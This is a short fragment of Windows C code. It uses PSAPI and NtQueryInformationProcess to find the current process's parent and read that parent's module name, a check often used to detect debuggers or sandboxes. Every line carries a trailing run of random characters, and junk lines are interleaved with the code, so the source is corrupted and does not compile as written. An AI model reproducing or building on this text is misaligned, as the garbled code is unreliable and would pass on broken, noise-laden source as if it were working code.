HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YA8~O5
if(NULL == hInst ) return 0; YCdxU1V
<08 V-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kt0Tuj@CY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <;"=ah7A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cC]1D*Bn
\C.@ @4{
if (!NtQueryInformationProcess) return 0; n[-!Jp[
&g {_.n,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >C66X?0cd
if(!hProcess) return 0; 1W7BN~p14
~;s)0M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 00TdX|V`
nJ@hzK.
CloseHandle(hProcess); %05a>Rf&
_L.yt5_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZJm^znpw6
if(hProcess==NULL) return 0; "xI[4~'`:
,6L>f.V^(U
HMODULE hMod; |g!#
\
char procName[255]; ~(S4/d5
unsigned long cbNeeded; T`;M!-)2
V0(ABi:d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1\kehCt
u'."E7o#
CloseHandle(hProcess); Sa~C#[V
Wg&